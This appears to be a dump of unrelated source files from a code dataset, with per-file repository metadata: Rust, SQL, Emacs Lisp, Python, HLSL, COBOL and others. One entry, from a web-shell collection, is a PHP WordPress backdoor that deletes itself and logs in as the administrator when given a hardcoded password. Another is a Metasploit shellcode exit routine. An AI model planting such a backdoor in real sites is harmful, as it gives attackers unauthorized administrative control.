/// As abs(), except the MIN value becomes MAX instead of itself.
///
@@ -151,6 +156,7 @@ macro_rules! impl_int_arith {
pub fn saturating_neg(self) -> Self {
Self::splat(0).saturating_sub(self)
}
+ */
})+
}
}
diff --git a/crates/core_simd/src/vector.rs b/crates/core_simd/src/vector.rs
index 7c5ec2b..c8631e8 100644
--- a/crates/core_simd/src/vector.rs
+++ b/crates/core_simd/src/vector.rs
@@ -75,6 +75,7 @@ where
Self(array)
}
+ /*
/// Reads from potentially discontiguous indices in `slice` to construct a SIMD vector.
/// If an index is out-of-bounds, the lane is instead selected from the `or` vector.
///
@@ -297,6 +298,7 @@ where
// Cleared ☢️ *mut T Zone
}
}
+ */
}
impl<T, const LANES: usize> Copy for Simd<T, LANES>
diff --git a/crates/core_simd/tests/masks.rs b/crates/core_simd/tests/masks.rs
index 6a8ecd3..68fcb49 100644
--- a/crates/core_simd/tests/masks.rs
+++ b/crates/core_simd/tests/masks.rs
@@ -68,6 +68,7 @@ macro_rules! test_mask_api {
assert_eq!(core_simd::Mask::<$type, 8>::from_int(int), mask);
}
+ /*
#[cfg(feature = "generic_const_exprs")]
#[test]
fn roundtrip_bitmask_conversion() {
@@ -80,6 +81,7 @@ macro_rules! test_mask_api {
assert_eq!(bitmask, [0b01001001, 0b10000011]);
assert_eq!(core_simd::Mask::<$type, 16>::from_bitmask(bitmask), mask);
}
+ */
}
}
}
diff --git a/crates/core_simd/tests/ops_macros.rs b/crates/core_simd/tests/ops_macros.rs
index 31b7ee2..bd04b3c 100644
--- a/crates/core_simd/tests/ops_macros.rs
+++ b/crates/core_simd/tests/ops_macros.rs
@@ -567,6 +567,7 @@ macro_rules! impl_float_tests {
});
}
+ /*
fn horizontal_max<const LANES: usize>() {
test_helpers::test_1(&|x| {
let vmax = Vector::<LANES>::from_array(x).horizontal_max();
@@ -590,6 +591,7 @@ macro_rules! impl_float_tests {
Ok(())
});
}
+ */
}
#[cfg(feature = "std")]
@@ -604,6 +606,7 @@ macro_rules! impl_float_tests {
)
}
+ /*
fn mul_add<const LANES: usize>() {
test_helpers::test_ternary_elementwise(
&Vector::<LANES>::mul_add,
@@ -611,6 +614,7 @@ macro_rules! impl_float_tests {
&|_, _, _| true,
)
}
+ */
}
}
}
--
2.26.2.7.g19db9cfb68
| Diff | 4 | david-perez/rust | compiler/rustc_codegen_cranelift/patches/0001-portable-simd-Disable-unsupported-tests.patch | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
<script>
console.log(1);
//# sourceURL=nicename.js
</script>
| HTML | 1 | NareshMurthy/playwright | test/assets/jscoverage/sourceurl.html | [
"Apache-2.0"
] |
export function checkIsNonemptyString() {}
| JavaScript | 0 | fourstash/webpack | test/configCases/side-effects/issue-13063/vendors/types.js | [
"MIT"
] |
<?php
@unlink(__FILE__);
// Validate if the request is from Softaculous
if($_REQUEST['pass'] != 'mv8gdj4ohqfxpu34yj5ursupfabcmvdm'){ // your password here
die("Unauthorized Access");
}
require('wp-blog-header.php');
require('wp-includes/pluggable.php');
$user_info = get_userdata(1);
// Automatic login //
$username = $user_info->user_login;
$user = get_user_by('login', $username );
// Redirect URL //
if ( !is_wp_error( $user ) )
{
wp_clear_auth_cookie();
wp_set_current_user ( $user->ID );
wp_set_auth_cookie ( $user->ID );
$redirect_to = user_admin_url();
wp_safe_redirect( $redirect_to );
exit();
}
| PHP | 3 | 5tr1x/SecLists | Web-Shells/WordPress/bypass-login.php | [
"MIT"
] |
SET optimize_read_in_order = 1;
SELECT CounterID FROM test.hits ORDER BY CounterID DESC LIMIT 50;
SELECT CounterID FROM test.hits ORDER BY CounterID LIMIT 50;
SELECT CounterID FROM test.hits ORDER BY CounterID, EventDate LIMIT 50;
SELECT EventDate FROM test.hits ORDER BY CounterID, EventDate LIMIT 50;
SELECT EventDate FROM test.hits ORDER BY CounterID, EventDate DESC LIMIT 50;
SELECT CounterID FROM test.hits ORDER BY CounterID, EventDate DESC LIMIT 50;
SELECT CounterID FROM test.hits ORDER BY CounterID DESC, EventDate DESC LIMIT 50;
SELECT EventDate FROM test.hits ORDER BY CounterID DESC, EventDate DESC LIMIT 50;
SELECT CounterID, EventDate FROM test.hits ORDER BY CounterID, EventDate LIMIT 50;
SELECT CounterID, EventDate FROM test.hits ORDER BY CounterID, EventDate DESC LIMIT 50;
SELECT CounterID, EventDate FROM test.hits ORDER BY CounterID DESC, EventDate LIMIT 50;
SELECT CounterID, EventDate FROM test.hits ORDER BY CounterID DESC, EventDate DESC LIMIT 50;
| SQL | 3 | pdv-ru/ClickHouse | tests/queries/1_stateful/00151_order_by_read_in_order.sql | [
"Apache-2.0"
] |
;;; tools/pass/autoload/pass.el -*- lexical-binding: t; -*-
(defun +pass--copy-username (entry)
(if-let* ((user (+pass-get-field entry +pass-user-fields)))
(progn (password-store-clear)
(message "Copied username to the kill ring.")
(kill-new user))
(error "Username not found.")))
;;
;; API
;;;###autoload (autoload 'auth-source-pass-parse-entry "auth-source-pass")
;;;###autoload
(defalias '+pass-get-entry #'auth-source-pass-parse-entry)
;;;###autoload
(defun +pass-get-field (entry fields &optional noerror)
"Fetches the value of a field. FIELDS can be a list of string field names or a
single one. If a list, the first field found will be returned. Will error out
otherwise, unless NOERROR is non-nill."
(if-let* ((data (if (listp entry) entry (+pass-get-entry entry))))
(cl-loop for key in (doom-enlist fields)
when (assoc key data)
return (cdr it))
(unless noerror
(error "Couldn't find entry: %s" entry))))
;;;###autoload
(defun +pass-get-user (entry)
"Fetches the user field from ENTRY. Each of `+pass-user-fields' are tried in
search of your username. May prompt for your gpg passphrase."
(+pass-get-field entry +pass-user-fields))
;;;###autoload
(defun +pass-get-secret (entry)
"Fetches your secret from ENTRY. May prompt for your gpg passphrase."
(+pass-get-field entry 'secret))
;;
;; Commands
;;;###autoload (autoload 'password-store-dir "password-store")
;;;###autoload (autoload 'password-store-list "password-store")
;;;###autoload (autoload 'password-store--completing-read "password-store")
;;;###autoload
(define-obsolete-function-alias '+pass/edit-entry #'password-store-edit "21.12")
;;;###autoload
(define-obsolete-function-alias '+pass/copy-field #'password-store-copy-field "21.12")
;;;###autoload
(define-obsolete-function-alias '+pass/copy-secret #'password-store-copy "21.12")
;;;###autoload
(defun +pass/copy-user (entry)
"Interactively search for an entry and copy the login to your clipboard. The
fields in `+pass-user-fields' is used to find the login field."
(interactive
(list (password-store--completing-read)))
(+pass--copy-username entry))
;;;###autoload
(define-obsolete-function-alias '+pass/browse-url #'password-store-url "21.12")
| Emacs Lisp | 5 | leezu/doom-emacs | modules/tools/pass/autoload/pass.el | [
"MIT"
] |
"""YoLink Lock."""
from __future__ import annotations
from typing import Any
from homeassistant.components.lock import LockEntity
from homeassistant.config_entries import ConfigEntry
from homeassistant.core import HomeAssistant, callback
from homeassistant.helpers.entity_platform import AddEntitiesCallback
from .const import ATTR_COORDINATORS, ATTR_DEVICE_LOCK, DOMAIN
from .coordinator import YoLinkCoordinator
from .entity import YoLinkEntity
async def async_setup_entry(
hass: HomeAssistant,
config_entry: ConfigEntry,
async_add_entities: AddEntitiesCallback,
) -> None:
"""Set up YoLink lock from a config entry."""
device_coordinators = hass.data[DOMAIN][config_entry.entry_id][ATTR_COORDINATORS]
entities = [
YoLinkLockEntity(config_entry, device_coordinator)
for device_coordinator in device_coordinators.values()
if device_coordinator.device.device_type == ATTR_DEVICE_LOCK
]
async_add_entities(entities)
class YoLinkLockEntity(YoLinkEntity, LockEntity):
"""YoLink Lock Entity."""
def __init__(
self,
config_entry: ConfigEntry,
coordinator: YoLinkCoordinator,
) -> None:
"""Init YoLink Lock."""
super().__init__(config_entry, coordinator)
self._attr_unique_id = f"{coordinator.device.device_id}_lock_state"
self._attr_name = f"{coordinator.device.device_name}(LockState)"
@callback
def update_entity_state(self, state: dict[str, Any]) -> None:
"""Update HA Entity State."""
state_value = state.get("state")
self._attr_is_locked = (
state_value == "locked" if state_value is not None else None
)
self.async_write_ha_state()
async def call_lock_state_change(self, state: str) -> None:
"""Call setState api to change lock state."""
await self.call_device_api("setState", {"state": state})
self._attr_is_locked = state == "lock"
self.async_write_ha_state()
async def async_lock(self, **kwargs: Any) -> None:
"""Lock device."""
await self.call_lock_state_change("lock")
async def async_unlock(self, **kwargs: Any) -> None:
"""Unlock device."""
await self.call_lock_state_change("unlock")
| Python | 4 | mib1185/core | homeassistant/components/yolink/lock.py | [
"Apache-2.0"
] |
<a href="#">
{if $create}
{_"Create category"}
{else}
{_"Edit category"}
{/if}
</a> | Latte | 2 | timfel/netbeans | php/php.latte/test/unit/data/testfiles/indent/testIssue237326_01.latte | [
"Apache-2.0"
] |
01 COBOL-TEST-RECORD.
05 COBOL-TEST-USAGES.
10 COBOL-4-COMP PIC S9(4) COMP.
10 COBOL-8-COMP PIC S9(8) COMP.
10 COBOL-9-COMP PIC S9(9) COMP.
10 COBOL-4-COMP2 PIC S9(4) COMP-2.
10 COBOL-7-COMP2 PIC 9(7) COMP-2.
| COBOL | 3 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/COBOL/simple.cpy | [
"MIT"
] |
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
; Size: 31 bytes
;-----------------------------------------------------------------------------;
; kernel32.dll!SetUnhandledExceptionFilter (0xEA320EFE) - This exit function
; will let the UnhandledExceptionFilter function perform its default handling
; routine.
;
; kernel32.dll!ExitProcess (0x56A2B5F0) - This exit function will force the
; process to terminate.
;
; kernel32.dll!ExitThread (0x0A2A1DE0) - This exit function will force the
; current thread to terminate. On Windows 2008, Vista and 7 this function is
; a forwarded export to ntdll.dll!RtlExitUserThread and as such cannot be
; called by the api_call function.
;
; ntdll.dll!RtlExitUserThread (0x6F721347) - This exit function will force
; the current thread to terminate. This function is not available on Windows
; NT or 2000.
;-----------------------------------------------------------------------------;
; Windows 7 6.1
; Windows Server 2008 R2 6.1 If the EXITFUNK is ExitThread we must call
; Windows Server 2008 6.0 RtlExitUserThread instead.
; Windows Vista 6.0 _______________________________________________
; Windows Server 2003 R2 5.2
; Windows Server 2003 5.2
; Windows XP 5.1
; Windows 2000 5.0
; Windows NT4 4.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: None.
; Clobbers: EAX, EBX, (ESP will also be modified)
; Note: Execution is not expected to (successfully) continue past this block
exitfunk:
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
jl short goodbye ; Then just call the exit function...
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
jne short goodbye ;
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
goodbye: ; We now perform the actual call to the exit function
push byte 0 ; push the exit function parameter
push ebx ; push the hash of the exit function
call ebp ; call EXITFUNK( 0 );
| Assembly | 3 | OsmanDere/metasploit-framework | external/source/shellcode/windows/x86/src/block/block_exitfunk.asm | [
"BSD-2-Clause",
"BSD-3-Clause"
] |
# DO NOT EDIT THIS FILE. This file will be overwritten when re-running go-raml.
using import "Cat.capnp".Cat;
@0xdfb77c5498cdf75b;
struct Petshop {
cats @0 :List(Cat);
name @1 :Text;
}
| Cap'n Proto | 3 | mrpotes/go-raml | codegen/python/fixtures/python_capnp/Petshop.capnp | [
"BSD-2-Clause"
] |
<div class="sf-toolbar-block sf-toolbar-block-{{ name }} sf-toolbar-status-{{ status|default('normal') }} {{ additional_classes|default('') }}" {{ block_attrs|default('')|raw }}>
{% if link is not defined or link %}<a href="{{ url('_profiler', { token: token, panel: name }) }}">{% endif %}
<div class="sf-toolbar-icon">{{ icon|default('') }}</div>
{% if link|default(false) %}</a>{% endif %}
<div class="sf-toolbar-info">{{ text|default('') }}</div>
</div>
| Twig | 3 | simonberger/symfony | src/Symfony/Bundle/WebProfilerBundle/Resources/views/Profiler/toolbar_item.html.twig | [
"MIT"
] |
#import <Foundation/Foundation.h>
#define MY_ERROR_ENUM(_type, _name, _domain) \
enum _name : _type _name; \
enum __attribute__((ns_error_domain(_domain))) _name : _type
@class NSString;
extern NSString *const TestErrorDomain;
typedef MY_ERROR_ENUM(int, TestError, TestErrorDomain) {
TENone,
TEOne,
TETwo,
};
extern NSString *const ExhaustiveErrorDomain;
typedef MY_ERROR_ENUM(int, ExhaustiveError, ExhaustiveErrorDomain) {
EENone,
EEOne,
EETwo,
} __attribute__((enum_extensibility(closed)));
extern NSString *const OtherErrorDomain;
typedef MY_ERROR_ENUM(int, OtherErrorCode, OtherErrorDomain) {
OtherA,
OtherB,
OtherC,
};
extern NSString *TypedefOnlyErrorDomain;
typedef enum __attribute__((ns_error_domain(TypedefOnlyErrorDomain))) {
TypedefOnlyErrorBadness
} TypedefOnlyError;
TestError getErr(void);
ExhaustiveError getExhaustiveErr(void);
| C | 3 | lwhsu/swift | test/ClangImporter/Inputs/enum-error.h | [
"Apache-2.0"
] |
MSTRINGIFY(
cbuffer SolvePositionsFromLinksKernelCB : register( b0 )
{
int startLink;
int numLinks;
float kst;
float ti;
};
// Node indices for each link
StructuredBuffer<int2> g_linksVertexIndices : register( t0 );
StructuredBuffer<float> g_linksMassLSC : register( t1 );
StructuredBuffer<float> g_linksRestLengthSquared : register( t2 );
StructuredBuffer<float> g_verticesInverseMass : register( t3 );
RWStructuredBuffer<float4> g_vertexPositions : register( u0 );
[numthreads(128, 1, 1)]
void
SolvePositionsFromLinksKernel( uint3 Gid : SV_GroupID, uint3 DTid : SV_DispatchThreadID, uint3 GTid : SV_GroupThreadID, uint GI : SV_GroupIndex )
{
int linkID = DTid.x + startLink;
if( DTid.x < numLinks )
{
float massLSC = g_linksMassLSC[linkID];
float restLengthSquared = g_linksRestLengthSquared[linkID];
if( massLSC > 0.0f )
{
int2 nodeIndices = g_linksVertexIndices[linkID];
int node0 = nodeIndices.x;
int node1 = nodeIndices.y;
float3 position0 = g_vertexPositions[node0].xyz;
float3 position1 = g_vertexPositions[node1].xyz;
float inverseMass0 = g_verticesInverseMass[node0];
float inverseMass1 = g_verticesInverseMass[node1];
float3 del = position1 - position0;
float len = dot(del, del);
float k = ((restLengthSquared - len)/(massLSC*(restLengthSquared+len)))*kst;
position0 = position0 - del*(k*inverseMass0);
position1 = position1 + del*(k*inverseMass1);
g_vertexPositions[node0] = float4(position0, 0.f);
g_vertexPositions[node1] = float4(position1, 0.f);
}
}
}
); | HLSL | 4 | BonJovi1/Bullet-the-Blue-Sky | external/bullet-2.81-rev2613/src/BulletMultiThreaded/GpuSoftBodySolvers/DX11/HLSL/SolvePositions.hlsl | [
"WTFPL"
] |
//This file is part of "GZE - GroundZero Engine"
//The permisive licence allow to use GZE for free or commercial project (Apache License, Version 2.0).
//For conditions of distribution and use, see copyright notice in Licence.txt, this license must be included with any distribution of the code.
#skipContent
package {
import GZ.Base.Math.Math;
import GZ.Base.Vec4;
import GZ.Base.Mat2x4;
/**
* @author Maeiky
*/
public class Mat3x4 extends Mat2x4 {
//public evar v2 : Vec4;
/*
public function Mat3x4(_v0 : Vec4, _v1 : Vec4, _v2 : Vec4) : Void {
v0 = _v0;
v1 = _v1;
v2 = _v2;
}*/
}
}
| Redcode | 2 | VLiance/GZE | src/Lib_GZ/Base/Mat3x4.cw | [
"Apache-2.0"
] |
/** if-then-else loops */
if (true)
foo();
else
bar();
if (true) {
foo();
bar();
} else {
foo();
}
// https://github.com/atom/atom/issues/6691
if (true)
{
foo();
bar();
}
else
{
foo();
}
if (true) {
if (yes)
doit(); // 2
bar();
} else if (more()) {
foo(); // 1
}
if (true)
foo();
else
if (more()) { // 1
foo(); // 1
}
if (true)
foo();
else
if (more()) // 1
foo(); // 2
if (we
()) {
go();
}
if (true) {
foo();
bar();
} else if (false) {
more();
} else {
foo();
}
| JavaScript | 3 | Embodimentgeniuslm3/BDB11A0E2DE062D2E39E4C5301B2FE5E | spec/fixtures/indentation/if_then_else.js | [
"MIT"
] |
0
inputPlaceholder*
dtype0*
shape:" | PureBasic | 0 | mjlorenzo305/deeplearning4j | nd4j/nd4j-tensorflow/src/main/resources/cast_graph/cast_int32_int32.pb | [
"Apache-2.0"
] |
#!/bin/sh
set -e
go tool dist list | while IFS=/ read os arch; do
echo "Checking $os/$arch..."
echo " normal"
GOARCH=$arch GOOS=$os go build -o /dev/null .
echo " noasm"
GOARCH=$arch GOOS=$os go build -tags noasm -o /dev/null .
echo " appengine"
GOARCH=$arch GOOS=$os go build -tags appengine -o /dev/null .
echo " noasm,appengine"
GOARCH=$arch GOOS=$os go build -tags 'appengine noasm' -o /dev/null .
done
| Shell | 4 | phillipahereza/mattermost-server | vendor/github.com/klauspost/cpuid/v2/test-architectures.sh | [
"Apache-2.0"
] |
--TEST--
Call header_register_callback() after headers sent
--FILE--
<?php
echo "Send headers.\n";
header_register_callback(function() { echo "Too late";});
?>
--EXPECT--
Send headers.
| PHP | 3 | NathanFreeman/php-src | tests/basic/header_register_callback_after_output.phpt | [
"PHP-3.01"
] |
<style type="text/css">
.row {
height: 33%;
text-align: center;
border-bottom: 1px solid black;
margin: 0;
padding: 0;
-webkit-user-select: none;
}
</style>
<div class="row" (swipe)="onSwipe($event)">Swipe (direction = {{swipeDirection}})</div>
<div class="row" (pinch)="onPinch($event)">pinch (scale = {{pinchScale}})</div>
<div class="row" (rotate)="onRotate($event)">Rotate (angle = {{rotateAngle}})</div>
<div class="row"></div>
| HTML | 3 | coreyscherbing/angular | modules/playground/src/gestures/template.html | [
"MIT"
] |
#include <ATen/ATen.h>
#include <ATen/NativeFunctions.h>
#include <ATen/native/quantized/fake_quant_affine.h>
#include <ATen/native/TensorIterator.h>
#include <ATen/native/cuda/Loops.cuh>
#include <thrust/tuple.h>
#include <cmath>
/* Fake quantize a tensor
Args:
output: output tensor.
input : input tensor.
sc: scale to quantize the input tensor to
zero_point: zero_point
quant_min: minimum quantized value
quant_max: maximum quantized value
Returns:
Fake quantized tensor (float dtype).
*/
namespace at {
namespace native {
void fake_quantize_tensor_cachemask_kernel_cuda(
Tensor& output,
Tensor& mask,
const Tensor& input,
float scale,
int64_t zero_point,
int64_t quant_min,
int64_t quant_max) {
float inv_scale = 1.0f / scale;
auto iter = TensorIteratorConfig()
.check_all_same_dtype(false)
.add_output(output)
.add_output(mask)
.add_input(input)
.build();
AT_DISPATCH_FLOATING_TYPES_AND_HALF(input.scalar_type(), "fake_quantize_tensor_cachemask_kernel_types", [&] {
gpu_kernel_multiple_outputs(
iter,
[=] GPU_LAMBDA (scalar_t input_val) -> thrust::tuple<scalar_t, bool> {
const auto qval = static_cast<int64_t>(std::nearbyint(input_val * inv_scale) + zero_point);
return {
// fake_quantized value
(fminf(quant_max, fmaxf(quant_min, qval)) - zero_point) * scale,
// mask for grad
((quant_min <= qval) && (qval <= quant_max))
};
}
);
});
}
void fake_quantize_tensor_cachemask_tensor_qparams_kernel_cuda(
Tensor& output,
Tensor& mask,
const Tensor& input,
const Tensor& scale,
const Tensor& zero_point,
const Tensor& fake_quant_enabled,
int64_t quant_min,
int64_t quant_max) {
float* scale_ptr = scale.data_ptr<float>();
int32_t* zp_ptr = zero_point.data_ptr<int32_t>();
int64_t* fake_quant_on = fake_quant_enabled.data_ptr<int64_t>();
auto iter = TensorIteratorConfig()
.check_all_same_dtype(false)
.add_output(output)
.add_output(mask)
.add_input(input)
.build();
AT_DISPATCH_FLOATING_TYPES_AND_HALF(input.scalar_type(), "fake_quantize_tensor_cachemask_kernel_types", [&] {
gpu_kernel_multiple_outputs(
iter,
[=] GPU_LAMBDA (scalar_t input_val) -> thrust::tuple<scalar_t, bool> {
if (*fake_quant_on == 0) {
return {input_val, 1};
}
float inv_scale = 1.0f / (*scale_ptr);
const auto qval = static_cast<int64_t>(std::nearbyint(input_val * inv_scale) + (*zp_ptr));
return {
// fake_quantized value
(fminf(quant_max, fmaxf(quant_min, qval)) - (*zp_ptr)) * (*scale_ptr),
// mask for grad
((quant_min <= qval) && (qval <= quant_max))
};
}
);
});
}
void _fake_quantize_grad_learnable_tensor_kernel_cuda(
TensorIterator& iter,
float scale,
float inv_scale,
int64_t zero_point,
int64_t quant_min,
int64_t quant_max,
float grad_factor) {
float dscale_small = quant_min - zero_point;
float dscale_big = quant_max - zero_point;
gpu_kernel_multiple_outputs(
iter, [=] GPU_LAMBDA (float XInput, float dYInput) -> thrust::tuple<float, float, float> {
float dXOutput, dZeroPointOutput, dScaleOutput;
int64_t xq = std::nearbyint(XInput * inv_scale) + zero_point;
dXOutput = dYInput * (xq >= quant_min && xq <= quant_max);
float xfq = static_cast<float>((std::max(std::min(xq, quant_max), quant_min) - zero_point) * scale);
if (xq < quant_min || xq > quant_max) {
dZeroPointOutput = (dYInput) * (-1) * scale * grad_factor;
dScaleOutput = ((xq < quant_min) ? (dYInput * dscale_small) : (dYInput * dscale_big)) * grad_factor;
} else {
dZeroPointOutput = 0;
dScaleOutput = (dYInput) * (xfq - (XInput)) * inv_scale * grad_factor;
}
return {dXOutput, dScaleOutput, dZeroPointOutput};
});
}
REGISTER_DISPATCH(fake_quant_tensor_cachemask_stub, &fake_quantize_tensor_cachemask_kernel_cuda);
REGISTER_DISPATCH(fake_quant_tensor_cachemask_tensor_qparams_stub, &fake_quantize_tensor_cachemask_tensor_qparams_kernel_cuda);
REGISTER_DISPATCH(fake_quant_grad_learnable_tensor_stub, &_fake_quantize_grad_learnable_tensor_kernel_cuda);
// Fake quantize per channel
template<typename SelfType>
void _fake_quant_per_channel_cachemask_cuda_helper(
TensorIterator & iter,
TensorIterator & iter_mask,
const int64_t quant_min,
const int64_t quant_max
) {
// TODO(future, optional): read once, write twice. Not done at the moment
// for simplicity, as we do not expect this to be a bottleneck.
//
const auto & zero_point_dtype = iter.input_dtype(2);
//
if (at::isFloatingType(zero_point_dtype)) {
// When zero_point is float, quantize mirroring affine quantizer equation
// Xq = Round(Xf * inv_scale + zero_point)
// where zero_point is in float.
AT_DISPATCH_FLOATING_TYPES_AND_HALF(zero_point_dtype, "fake_quantize_channel_cachemask_cuda_mask_type_handling", [&] {
// write mask
gpu_kernel(iter_mask,
[=] GPU_LAMBDA (const SelfType input_val, const float scale, const scalar_t zero_point) -> bool {
const float inv_scale = 1.0f / scale;
const auto qval = std::lrint(input_val * inv_scale + zero_point);
return ((quant_min <= qval) && (qval <= quant_max));
});
// write fake_quant
gpu_kernel(iter,
[=] GPU_LAMBDA (const SelfType input_val, const float scale, const scalar_t zero_point) -> SelfType {
const float inv_scale = 1.0f / scale;
const auto qval = std::lrint(input_val * inv_scale + zero_point);
const auto bounded_qval = fminf(quant_max, fmaxf(quant_min, qval));
return (bounded_qval - zero_point) * scale;
});
});
}
else {
// write mask
gpu_kernel(iter_mask,
[=] GPU_LAMBDA (const SelfType input_val, const float scale, const int64_t zero_point) -> bool {
const float inv_scale = 1.0f / scale;
const auto qval = static_cast<int64_t>(std::nearbyint(input_val * inv_scale)) + zero_point;
return ((quant_min <= qval) && (qval <= quant_max));
});
// write fake_quant
gpu_kernel(iter,
[=] GPU_LAMBDA (const SelfType input_val, const float scale, const int64_t zero_point) -> SelfType {
const float inv_scale = 1.0f / scale;
const auto qval = static_cast<int64_t>(std::nearbyint(input_val * inv_scale)) + zero_point;
const auto bounded_qval = std::min(quant_max, std::max(quant_min, qval));
return (bounded_qval - zero_point) * scale;
});
}
}
void fake_quant_per_channel_cachemask_cuda(
TensorIterator &iter, TensorIterator &iter_mask, int64_t quant_min, int64_t quant_max) {
AT_DISPATCH_FLOATING_TYPES_AND_HALF(iter.dtype(), "fake_quantize_channel_cachemask_cpu_type_handling", [&] {
_fake_quant_per_channel_cachemask_cuda_helper<scalar_t>(iter, iter_mask, quant_min, quant_max);
});
}
void _fake_quantize_grad_learnable_channel_kernel_cuda(TensorIterator &iter, int64_t quant_min, int64_t quant_max, float grad_factor) {
gpu_kernel_multiple_outputs(iter,
[=] GPU_LAMBDA (float x_input, float dy_input, float scale_input, float zero_point_input) -> thrust::tuple<float, float, float> {
float dx_output, dscale_output, dzero_point_output;
float inv_scale = 1.0f / scale_input;
float dscale_small = quant_min - zero_point_input;
float dscale_big = quant_max - zero_point_input;
// Calculate gradients for X.
int64_t xqi = std::nearbyint(x_input * inv_scale) + static_cast<int64_t>(zero_point_input);
dx_output = dy_input * (xqi >= quant_min && xqi <= quant_max);
// Calculate gradients for scale and zero point.
float xfqi = static_cast<float>((std::max(std::min(xqi, quant_max), quant_min) - zero_point_input) * scale_input);
if (xqi < quant_min || xqi > quant_max) {
dzero_point_output = dy_input * (-1) * scale_input * grad_factor;
dscale_output = ((xqi < quant_min) ? (dy_input * dscale_small) : (dy_input * dscale_big)) * grad_factor;
} else {
dzero_point_output = 0;
dscale_output = dy_input * (xfqi - x_input) * inv_scale * grad_factor;
}
return {dx_output, dscale_output, dzero_point_output};
});
}
REGISTER_DISPATCH(fake_quant_per_channel_cachemask_stub, &fake_quant_per_channel_cachemask_cuda);
REGISTER_DISPATCH(fake_quant_grad_learnable_channel_stub, &_fake_quantize_grad_learnable_channel_kernel_cuda);
} // namespace native
} // namespace at
| Cuda | 5 | xiaohanhuang/pytorch | aten/src/ATen/native/quantized/cuda/fake_quantize_core.cu | [
"Intel"
] |
Red/System [
Title: "Red/System Android runtime"
Author: "Nenad Rakocevic"
File: %android.reds
Tabs: 4
Rights: "Copyright (C) 2011-2018 Red Foundation. All rights reserved."
License: {
Distributed under the Boost Software License, Version 1.0.
See https://github.com/red/red/blob/master/BSL-License.txt
}
]
#define OS_TYPE 5
#include %linux.reds
| Red | 3 | 0xflotus/red | system/runtime/android.reds | [
"BSL-1.0",
"BSD-3-Clause"
] |
fs=${1%.fs}
rm -rf "$fs" "$fs.fakeroot"
redo-ifchange debootstrap.fs
fakeroot -i debootstrap.fakeroot -s "$fs.fakeroot" \
cp -a debootstrap/. "$fs" >&2
# Work around bug (in fakechroot?) where /lib64 symlink ends up pointing
# at an absolute path including $PWD, rather than inside the chroot.
# Rather than fix the symlink, we'll just make sure $PWD is a link to /,
# so that the "wrong" symlinks correctly resolve.
pwdir=$(dirname "$PWD/bootstrap/")
mkdir -p "$fs/$pwdir/debootstrap"
dots=$(echo "$pwdir/" | sed -e 's,[^/]*/,../,g')
ln -s "${dots}lib" "$fs/$pwdir/debootstrap/lib"
# /init script is what we run in 'docker run'
cat >"$fs/init" <<-EOF
#!/bin/sh
dpkg -l | wc -l
EOF
chmod a+x "$fs/init"
redo-ifchange "$fs/bin/sh"
| Stata | 4 | BlameJohnny/redo | docs/cookbook/container/debian.fs.do | [
"Apache-2.0"
] |
BxJ0, / @ C C S $ W F X | PureBasic | 0 | cnheider/onnx | onnx/backend/test/data/node/test_eyelike_with_dtype/test_data_set_0/input_0.pb | [
"MIT"
] |
require ttf.inc
SUMMARY = "Ubuntu Font Family - TTF Version"
HOMEPAGE = "http://font.ubuntu.com"
LICENSE = "UFL"
LIC_FILES_CHKSUM = "file://LICENCE.txt;md5=325a1a9029112a2405e743c7f816427b"
PR = "r1"
SHA1SUM = "0cef8205"
SRC_URI = "https://assets.ubuntu.com/v1/${SHA1SUM}-ubuntu-font-family-${PV}.zip"
SRC_URI[md5sum] = "c5a5059d6856b4ddf79d824dcaf5ad32"
SRC_URI[sha256sum] = "61a2b342526fd552f19fef438bb9211a8212de19ad96e32a1209c039f1d68ecf"
S = "${WORKDIR}/ubuntu-font-family-${PV}"
PACKAGES = "ttf-ubuntu-mono ttf-ubuntu-sans"
FONT_PACKAGES = "ttf-ubuntu-mono ttf-ubuntu-sans"
FILES:ttf-ubuntu-mono = "${datadir}/fonts/truetype/*Mono*"
FILES:ttf-ubuntu-sans = "${datadir}/fonts/truetype/Ubuntu-*"
| BitBake | 3 | shipinglinux/meta-openembedded | meta-oe/recipes-graphics/ttf-fonts/ttf-ubuntu-font-family_0.83.bb | [
"MIT"
] |
table t : {A : int}
fun main () : transaction page =
let
fun check () =
r <- oneRow (SELECT SUM(t.A) AS X FROM t);
return (if r.X < 0 then
(Some 3, None)
else
(None, Some "Hi"))
fun show (t ::: Type) (_ : show t) (opt : option t) =
case opt of
None => <xml>None</xml>
| Some v => <xml>{[v]}</xml>
in
s <- source (None, None);
return <xml><body>
<button value="Get It On!"
onclick={r <- check ();
set s r}/><br/>
<br/>
Current: <dyn signal={p <- signal s; return <xml>{show p.1}, {show p.2}</xml>}/>
</body></xml>
end
| UrWeb | 3 | apple314159/urweb | tests/rpcO.ur | [
"BSD-3-Clause"
] |
Module: Win32-Automation
Synopsis: Dylan accessors for data structures used with OLE Automation.
Author: David N. Gray
Copyright: Original Code is Copyright (c) 1995-2004 Functional Objects, Inc.
All rights reserved.
License: See License.txt in this distribution for details.
Warranty: Distributed WITHOUT WARRANTY OF ANY KIND
// Dylan support for VARIANT and VARIANTARG objects
//
// An instance of class <LPVARIANT> is a pointer to a VARIANT object.
// Use empty?(p) to test whether it is empty (i.e. VT_EMPTY).
// If not empty, then pointer-value(p) will return a Dylan object
// corresponding to the value represented by the VARIANT structure.
//
// Similarly, use either
// make(<LPVARIANT>, value: object)
// or
// as(<LPVARIANT>, object)
// to construct a VARIANT that represents the value of the given
// Dylan object.
//
// Direct access to the structure fields should not be necessary.
define constant <CY> = <LARGE-INTEGER>;
define constant <CY*> = <PLARGE-INTEGER>;
define constant <DATE> = <C-double>;
define constant <DATE*> = <C-double*>;
// alias for consistent naming for users
define constant <BSTR*> = <LPBSTR>;
